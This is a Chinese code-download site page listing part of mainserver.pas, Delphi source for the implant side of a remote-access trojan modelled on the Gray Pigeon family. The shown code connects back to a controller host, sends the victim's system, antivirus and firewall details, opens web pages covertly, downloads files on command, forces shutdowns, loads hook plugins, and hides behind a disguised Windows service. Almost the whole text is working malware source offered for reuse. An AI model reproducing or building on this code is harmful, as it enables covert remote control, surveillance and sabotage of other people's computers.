⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainserver.pas

📁 参照上兴、鸽子等源码编写编写出来的。 编译环境:Delphi7+SP+DP+indy9等控件
💻 PAS
📖 第 1 页 / 共 3 页
字号:
unit mainserver;

interface

uses
  Windows,
  mmsystem,
  winsock,
  SysUtils,
  ScktComp,
  upip,
  ShellAPI,
  Classes,
  SndKey32,
  UnitFunciones,
  UnitSystemInfo,
  UnitProcess,
  UnitWindows,
  UnitFileManager,
  UnitRegistro,
  UnitVariables,
  unitAvs,
  UnitCambioId,
  SettingsDef,
  UnitWebcam,
  UnitInstalacion,
  UnitShell,
  winsys,
  downfileunit,
  UnitServicios,
  UnitTransfer,
  screenthread,
  winntservice,
  DESCrypt,
  UnitTVthread;

type
  TDescarga = record
    Descargado: Int64; //Datos descargados
    SizeFile: Int64;
  end;
  TClassClientSocket = class
    ClientSocket: TClientSocket;
    ClientSocketFiles: TClientSocket;
    procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientSocketReadFile(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientSocketError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ClientSocketOnConnect(Sender: TObject; Socket: TCustomWinSocket);
  end;
const
  WM_ACTIVATE = $0006;
  WM_QUIT = $0012;
  ENTER = #10;
var
  Cliente: TClassClientSocket;
  Msg: TMsg;
  FSFileUpload: TFileStream;
  SH: Integer; //SocketHandle de la conexi髇 principal
  Descarga: TDescarga;
  RecibiendoFichero: boolean = false;
  //////////////////////////////////
  pzhinfo,ipset:string;
  VersionDelServer:string;
    http:boolean=false;
    Urlhttp: string;
    httpwj: string;
  ////////////////////////////////////
  plugid, plugname: string; //插件目录
  hLibDll001, hlibdll002: THandle; //插件lib
  plug1status: string;
  StartHook1: procedure(); stdcall; //插件通用
  stopHook1: procedure; stdcall;
   injectService: PChar = 'netservice';
    ServiceName: PChar = 'netrt';

procedure main;
procedure key; stdcall;
implementation

////////////////////////////////////插件部分

procedure startplug1; //启动插件1
begin
  try
    if hLibDll001 <> 0 then
    begin
      @StartHook1 := GetProcAddress(hLibDll001, PChar('StartHook'));
      @StopHook1 := GetProcAddress(hLibDll001, PChar('StopHook'));
    end;
  except
    FreeLibrary(hLibDll001);
    exit;
    // Halt;       //可能导致程序死掉,所以弄EXIT
  end;
end;


procedure loadplug(plugid: string);
  //加载插件,所有插件导出函数必须是 starthook和stophook
begin
  try
    plugname := plugdir + plugid + '.dll';
      //'c:\windows\plugin'+'001'+'.dll';
    hLibDll001 := LoadLibrary(Pchar(plugname));
    case strtoint(plugid) of
      001: startplug1;
      // 002:startplug2;
    end;
  except
  end;
end;

procedure stopplug(plugid: string); //释放链接库
begin
  try
    case strtoint(plugid) of
      001:
        if hLibDll001 <> 0 then
        begin
          FreeLibrary(hLibDll001);
          hLibDll001 := 0;
        end;
      { 002:if hLibDll002 <> 0 then
          begin
          FreeLibrary(hLibDll002);
          hLibDll002:=0;
          end; }
    end;
  except
  end;
end;
procedure key; stdcall;
begin
  plugdir := GetDir(0) + 'plug\'; //A 新增
  try
    loadplug('001');
  except
  end;
  plug1status := '1';
end;
procedure Conectar();
begin
    Cliente.ClientSocket.Host := Configuracion.sHost;
    Cliente.ClientSocket.Port := Configuracion.iPort;
  if not Cliente.ClientSocket.Active then
    Cliente.ClientSocket.Open
  else
    Cliente.ClientSocket.Socket.SendText('CONNECTED' + ENTER); //开始连接客户端
end;

procedure TClassClientSocket.ClientSocketError(Sender: TObject; Socket:
  TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  if ShellThreadID <> 0 then
    PostThreadMessage(ShellThreadID, WM_ACTIVATE, Length('exit'), DWord(String(PChar('exit'))));
  ErrorCode := 0; 
end;

procedure TClassClientSocket.ClientSocketOnConnect(Sender: TObject; Socket:
  TCustomWinSocket);
begin
  Socket.SendText('SH|' + IntToStr(SH) + ENTER); //Socket Handle
end;

procedure TClassClientSocket.ClientSocketRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  Recibido, Respuesta, TempStr, TempStr1, TempStr2, TempStr3: string;
  Tipo, BotonPulsado, i: Integer;
//  TempCardinal: Cardinal;
  Tam: Int64;
  ShellParameters: TShellParameters;
  ThreadInfo: TThreadInfo;
  FilePath, LocalFilePath: AnsiString;
  webcam:string;
begin
  Recibido := Trim(Socket.ReceiveText);
  //网速测试
  if Recibido = 'PING' then
  begin
    // messagebox(0,pchar(inttostr(sh)),'',mb_ok);
    Socket.SendText('PONG' + ENTER);
    Exit;
  end;
  //控制端已连接信息
  if Copy(Recibido, 1, 8) = 'MAININFO' then
  begin
    Delete(Recibido, 1, 9); // 'MAININFO|123456'
    SH := StrToInt(Recibido);
    //文件传输端口和协议
    Cliente.ClientSocketFiles := TClientSocket.Create(nil);
    Cliente.ClientSocketFiles.Host := Configuracion.sHost;
    Cliente.ClientSocketFiles.Port := Configuracion.iPort;
    Cliente.ClientSocketFiles.OnRead := Cliente.ClientSocketReadFile;
    Cliente.ClientSocketFiles.OnConnect := Cliente.ClientSocketOnConnect;
    Cliente.ClientSocketFiles.OnError := Cliente.ClientSocketError;
    Cliente.ClientSocketFiles.Open;
   //////////////////////////////////////////////////////服务端列表显示的
   if length(ListarDispositivos)>5 then webcam:='<W>';  //有视频
    Respuesta := Socket.LocalAddress + '|' +
      VersionDelServer {服务端版本-不可以修改} + '|'+
      GetCPU() + '|' +
      GetOS() + '|' +
      GetPCName() + '|'+
      readid('WinXpMemory') {服务端标记-可以修改} + '|' +
      webcam+ '|' ;
    Socket.SendText('MAININFO|' + Respuesta + ENTER);
  end;

  //服务端系统信息
  if Recibido = 'INFO' then
  begin
    Respuesta := GetOS() + '|' +
      GetCPU() + '|' +
      GetUptime() + '|' +
      GetIdleTime() + '|' +
      ObtenerAvs() + '|' +
      ObtenerFirewall + '|' +
      GetPCName() + '|' +
      GetPCUser() + '|' +
      GetResolucion() + '|' +
      GetTamanioDiscos() + '|';
    Socket.SendText('INFO|' + Respuesta + ENTER);
  end;
 //普通打开网页操作
  if Copy(Recibido, 1, 5) = 'RUNIE' then
  begin
    Delete(Recibido, 1, 6);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1); //Saca el comando
    Delete(Recibido, 1, Pos('|', Recibido));
      try
        runie(TempStr, 0);
      except
      end;
  end;

 //隐藏打开网页操作
  if Copy(Recibido, 1, 9) = 'HIDERUNIE' then
  begin
    Delete(Recibido, 1, 10);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1); //Saca el comando
    Delete(Recibido, 1, Pos('|', Recibido));
      try
        runie(TempStr, 1);
      except
      end;
  end;
 //下载操作
  if Copy(Recibido, 1, 8) = 'DOWNLOAD' then
  begin
    Delete(Recibido, 1, 9);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1); //Saca el comando
    Delete(Recibido, 1, Pos('|', Recibido));
      try
       TDownFileThread.Create(TempStr);
      except
      end;
  end;
  //服务端操作
  if Copy(Recibido, 1, 8) = 'SERVIDOR' then
  begin
    Delete(Recibido, 1, 9);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1); //Saca el comando
    Delete(Recibido, 1, Pos('|', Recibido));
    //服务端信息
    if TempStr = 'INFO' then
    begin
      with Configuracion do
        TempStr := VersionDelServer + '|' + //服务端版本
        readid('WinXpMemory') + '|' + //服务端标记
        sHost + '|' + //IP
        inttostr(iPort) + '|' + //端口
        IntToStr(iTimeToNotify) + ' seconds' + '|' + //联网间隔
        ParamStr(0) + '|'; //自身进程路径
      Socket.SendText('SERVIDOR|INFO|' + TempStr + ENTER);
    end;
    if TempStr = 'SHUTDOWN' then   //关机
    begin
     if isNt then
      begin
        AdjustToken;
        ExitWindowsEx(EWX_FORCE or EWX_POWEROFF, 0);
        Exit;
      end
      else
      begin
        ExitWindowsEx(EWX_SHUTDOWN or EWX_FORCE, 0);
        Exit;
      end; //暴力关闭计算机!
      Exit;
    end;
    if TempStr = 'REBOT' then   //重启
    begin
    if isNt then
      begin
        AdjustToken;
        ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0);
        Exit;
      end
      else
      begin
        ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0);
        Exit;
      end; //暴力重启计算机!
      Exit;
    end;


    //断开服务端连接(服务端halt)
    if TempStr = 'HALT' then
    begin
      Halt;
    end;
    //卸载服务端
    if TempStr = 'UNINSTALL' then
    begin {卸载服务端}
      try
          try
            DelService(injectservice);
          except
          end;
        delcpass; //删除升级密码
        delsev;//删除文件
        Desinstalar(); //删除服务端标记
        if  ServiceRunning('',ServiceName) then
        begin
          try
            ServiceStop('', ServiceName);
          except
          end;
        end;
      except
      end;
      exitprocess(0);
    end;
  end;

  //列举进程
  if Recibido = 'PROC' then
  begin
    Respuesta := GETPROC;
    Socket.SendText('PROC|' + Respuesta + ENTER);
  end;

  //杀进程

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -